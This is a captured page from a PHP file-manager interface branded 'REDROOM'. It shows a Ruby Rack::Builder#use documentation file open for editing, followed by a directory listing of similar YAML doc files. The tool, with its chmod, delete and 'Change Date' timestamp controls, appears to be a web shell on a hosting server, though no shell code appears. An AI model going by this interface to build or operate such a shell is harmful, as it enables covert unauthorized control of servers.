REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 905 B
Close
/proc/thread-self/root/opt/alt/ruby18/lib64/ruby/gems/1.8/doc/rack-1.6.1/ri/Rack/Builder/use-i.yaml
Text
Base64
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Specifies middleware to use in a stack. - !ruby/struct:SM::Flow::VERB body: " class Middleware\n def initialize(app)\n @app = app\n end\n\n def call(env)\n env["rack.some_header"] = "setting an example"\n @app.call(env)\n end\n end\n\n use Middleware\n run lambda { |env| [200, { "Content-Type" => "text/plain" }, ["OK"]] }\n" - !ruby/struct:SM::Flow::P body: All requests through to this application will first be processed by the middleware class. The <tt>call</tt> method in this example sets an additional environment key which then can be referenced in the application if required. full_name: Rack::Builder#use is_singleton: false name: use params: (middleware, *args, &block) visibility: public
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 11
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
app-c.yaml
192 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
call-i.yaml
172 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cdesc-Builder.yaml
1.49 KB
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
map-i.yaml
786 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
new-c.yaml
191 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
new_from_string-c.yaml
222 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
parse_file-c.yaml
215 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
run-i.yaml
773 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
to_app-i.yaml
173 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
use-i.yaml
905 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
warmup-i.yaml
456 B
lrw-r--r--
2019-12-05 22:14:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).